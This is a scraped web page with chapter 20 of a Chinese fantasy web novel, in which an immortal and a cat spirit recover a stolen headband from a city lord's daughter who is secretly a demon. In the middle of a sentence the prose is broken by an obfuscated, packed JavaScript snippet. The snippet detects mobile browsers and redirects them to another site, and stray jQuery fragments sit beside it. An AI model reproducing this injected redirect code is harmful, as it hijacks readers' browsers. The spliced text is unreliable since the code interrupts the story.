默认冷灰
24号文字
方正启体

20. 妖友

作者:闻山如是本书字数:K更新时间:
    方从呛水的慌张中回过神,隋澈又陷入另一番慌乱,双手抓住浴桶边缘努力把身体藏进水里……


    只可惜,浮玉山的灵泉水世间最清澈,荡漾水波亦遮掩不住他的忸怩之态。


    “恩……恩……恩……”


    “嗯?”


    “仙”字没说出口,隋澈便注意到华潋已行君子之仪背身回避,紧绷的身躯略有松懈,吐了一口气道:“无事。”


    “洗好了去猫窝睡觉。”华潋指着床榻旁边的小窝说,“睡醒了,织星额带就回来了。”


    “恩仙要去夺回织星额带?”


    华潋笑笑:“一条额带而已,拿回来便是,何谈夺不夺的。”


    “我也去!我失去的东西一定要亲自夺回来!恩仙稍候,我、我马上洗好……”隋澈呶呶不休,快速往身上撩着水。


    华潋望一眼天色,道:“也罢,我还要找古玳商议明日移栽之事,便将你带在身边,免得古璇儿再来寻你,另生事端。”


    她徐步走到桌前,倒了一盏茶边品边等,余光不经意一瞥,忽地发现自己变出的桃花绣屏恰是多年前故人所赠那块。而今故人另娶,一切皆已物是人非……


    干脆劈了它当柴烧吧!华潋眸光微凛,一时间百转千回,手中茶盏置于唇边,迟迟忘了放下。


    哗啦啦的水声令思绪稍作回笼。华潋敛了敛神,目光似欲穿透屏风,好奇地乜斜窥睨。


    只见憧憧人影甚是高挑,仅用一步便跨出浴桶立足于地,墨色长发飘逸甩动,飞溅的水珠打湿了屏风上绣的桃瓣……


    春日桃花本就多姿,加之此绣鬼斧神工,被浴水清珠这么一浸润更是添了两分说不出的娇艳。


    故人所赠又如何?此物确乎佳品,当成劈柴是可惜了。华潋望着屏风,忍不住将心中所思叹诉于口:“娇艳欲滴,果真不俗。”


    隋澈身形一僵,指着自己:“啊?我?”


    华潋:“……”


    隋澈不解:恩仙何故用这八个字形容自己?“不俗”便也罢了,娇艳欲滴是几个意思?


    “变成猫,跟我走。”


    华潋言罢径直往屋外走去。隋澈施法变回玄猫形态,抖抖身上的水,紧随其后。


    来到厅堂,古玳正与妻女共用晚膳,一见法师,夫妻俩当即放下筷子起身相迎。唯独古璇儿翻了翻白眼,目中无人般坐在那里吃饭。


    古玳面子挂不住,板着脸道:“璇儿,谁教你这般待客的!”


    “哼,她算哪门子客人?一个妖师,呸!”古璇儿语气狂妄,边说边伸筷夹菜,言行举止无不透露挑衅之意。


    华潋视线落在其手腕系的织星额带上,淡笑道:“是我思虑不周,打扰城主一家三口共进晚膳了。”


    听到“一家三口”,古璇儿脸色骤变,蔑然神情顿作恨恼,恶狠狠瞪视华潋,重重拍筷于桌且大声呵道:“她不是我娘!”


    “古璇儿!”


    “算了老爷……”


    城主夫妇一个骂、一个劝,一唱一和,犹如戏般。华潋袖手旁观,朝玄猫使了个眼色,示意它跳到桌上。


    隋澈听令照做,壮着胆子跳上桌蹲坐在古璇儿手边,抬爪拍了拍她的手腕。


    古璇儿看见玄猫,怒气有所平复,啧啧称怪:“小黑咪你怎么在这儿?我送你的衣裳呢?”


    隋澈:可别提那身豪猪皮了……


    玄猫不满地哈了哈气,略微使力再拍其腕。


    华潋适时开口,用更为稀奇的语调反问古璇儿:“古大小姐,我家灵宠的额带为何戴在了你的手上?”


    “我……”


    “我今整日未见灵宠,莫不是你把它藏了起来?”


    “我没有,我……”


    “古璇儿!为父平日真是太纵着你了,竟把你惯得这般不知天高地厚,还敢偷法师的灵宠?!”古玳气急,将面前的碗碟都掀了去,又起身冲到古璇儿旁边攥住她的手意欲摘下额带,不料反被甩了开。


    “我没偷!”古璇儿红着眼睛自辩,“我就是喜欢这只黑咪,跟它玩儿了一会儿而已……”


    “玩玩玩,你就知道玩!昭陵如今面临何等灾患你知不知道啊!不说替为父分担,一天到晚还净给为父惹麻烦,仗着自己是城主之女无理取闹、任性妄为!你可知别人背地里都如何议论你啊?真是太令人失望了!有女如你,我岂能不再生一子……”


    “生生生!随你去生!我娘就是为了给你生儿子才死了的!”古璇儿泪眼滂沱,咬牙切齿地扯断织星额带狠砸于地,又泄恨般踩了两脚,痛骂道,“什么破玩意,我才不稀罕呢!”骂完抹着眼泪逃出厅堂。


    玄猫口齿微张,目光呆滞,怔怔看向华潋,一只爪子将伸不伸地尴尬抬着。


    隋澈试图传音:“我没想过事情会发展成这样……恩仙?”


    华潋充耳不闻,神色淡漠,恍若无事发生。


    隋澈忽有些看不明白了,悻悻然落下猫爪,金色猫瞳流露复杂之色。


    古玳颜面荡然无存。尽管如此,他仍俯身拾起被弄坏的织星额带,掸去脏土,双手捧还给华潋,极为勉强道:“法师见笑了,是我教女无方,这……实在对不住。此物若能以钱相赔,不论多少我都加倍赔偿。”


    “那倒不必。”华潋接过织星额带握在手心,扫一眼厅堂内其余之人,压低声音同古玳道,“退田还湖之事,我还有一策,或可助五渚湖尽快恢复水土,以御水患。望古城主俯纳鄙见。”


    古玳察言观色,当即屏退旁人,独自与华潋商讨要事。


    “法师但说无妨。”


    “实不相瞒,我结识一位仙友,其家底丰厚、乐善好施,听闻昭陵情况,称愿捐古树千棵移栽至五渚湖外。但她惯常行事低调,不肯表露真实身份,需古城主配合再演一出戏,另借他人之名留下古树。”


    古玳双目乍然生光,如同听闻千古奇谈般慨叹:“啊,世间竟有此等神人,做好事,不留名?”


    华潋牵强一笑:“只是,我那仙友哪里都好,偏偏喜欢出尔反尔,这毛病总也改不了。所以还请古城主尽快作出决定,以免……”


    “这有甚可犹豫的!干啊!”古玳摩拳擦掌来来回回走动两圈,嘴里不停说着,“真是瞌睡了有人递枕头!我现在就去安排,定连夜将戏台子搭好,是了是了,就在五渚湖外那片空地……哎!法师,敢问您那位仙友尊姓大名?待昭陵顺利度过此劫,我定为其盖一座庙,好好烧香感谢!”


    烧再多香火也改变不了无法成神的事实。因此,华潋无所谓道:“不必了。”


    隋澈可不会轻易放过这大好机会,城主的话入了耳更入了心。他谋算着找机会将恩仙大名告知古玳,势必建起那座龙女庙!如若恩仙不稀得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356429|199687||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那些香火,尽数归于自己也好呀!


    华潋亦怀心事。她眼眸微垂,指尖摩挲织星额带,眉心一点皱,沉声道:“请务必于明日卯时前做足准备,届时五渚湖外见。”


    “一定,一定。”


    “小猫,我们走。”


    华潋步履匆匆离开厅堂于庭院寻觅,终在下人院里找到古璇儿,同玄猫匿身院门后暗中观察。


    “恩仙为何还要找她?织星额带不是都已经还回来了吗?”


    古璇儿性情恣纵,但到底不是坏人,况且其身本是悬今,不论如何他都不希望妖友出事,遂欲再劝华潋就此作罢。


    未等开口,便听华潋郑重其事道:


    “此女是妖。”


    隋澈一惊:“你知道了?”


    “织星额带沾染了妖气……”气息微末却逃不过华潋法眼,然隋澈之言更令她起疑,“你这样问,莫非早知她是妖?”


    “其实我刚才就想说,古璇儿乃我妖友入凡历劫之身,她本名叫悬今。”


    “……”


    “恩仙大可放心,悬今不是坏妖!”


    “……”


    “恩仙?”


    华潋紧盯院内,沉吟片刻,忽挑眉道:“她在妖界也这般脾气?”


    隋澈顺其视线看去:古璇儿正将心头郁结乱拳发泄于阿醴之身。虽说凭她的力气不足以致命,可阿醴有伤未愈,这一拳拳抡下去定然加重伤势。


    别打啦,我的“功德”呀!隋澈心疼坏了,情不自禁地撅起猫嘴露出憋屈表情,喉咙也发出吭吭哧哧的小声儿。


    华潋歪头打量:“你心疼她?”


    “唔,恩仙不觉得他可怜吗?”


    “有点。”


    才有点?隋澈嘴角轻轻一抖,正琢磨着如何把阿醴从魔掌下救出,又听华潋问自己:


    “你喜欢她?”


    “啊?我喜欢——他?!”隋澈惊圆眼睛,颤着爪子指指自己又指指阿醴。


    华潋反倒疑惑:“不喜欢怎会心疼?不喜欢,又何必含羞带怯地看着她?”


    “含……呃?”隋澈觉得莫名其妙,“恩仙啊,且不说这双猫眼就长这样,我干嘛要含羞带怯地看着阿醴啊?”


    先是说“娇艳欲滴”,现又是“含羞带怯”,隋澈怀疑,恩仙是不是误会了什么?


    “谁说阿醴了。”华潋朝那哭得梨花带雨的女子扬了扬下巴,“我是说她,你的妖友悬今。小猫,你是不是心悦于她?”


    隋澈松一口气:“没有,我和悬今是朋友。”


    华潋嗤笑:“问就是朋友。”


    “真的只是朋友!”


    “不是也无妨。”


    “……”


    隋澈无言以对。此一事上,他确实没有欺骗华潋:千年来苦心修习,只为逃离原生家庭的樊笼,踏入仙道,重新开始,哪有功夫琢磨别的?是以他悄声嘀咕,“反正我对她没那个心思。”


    玄猫言之凿凿,蹲坐原地梗着脖子,两只前爪挪挪蹭蹭的,瞧那模样倒是有一点点被误解后的不甘。


    “本想替你出口气,既然你说她是你朋友……罢了。”华潋掌心泄出仙力修补好织星额带,戴在玄猫头上,交代道,“我改了禁制,除你之外旁人无法摘下。”


    玄猫很好哄,这就又开心地低声喵叫。


    “多谢恩仙啦。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)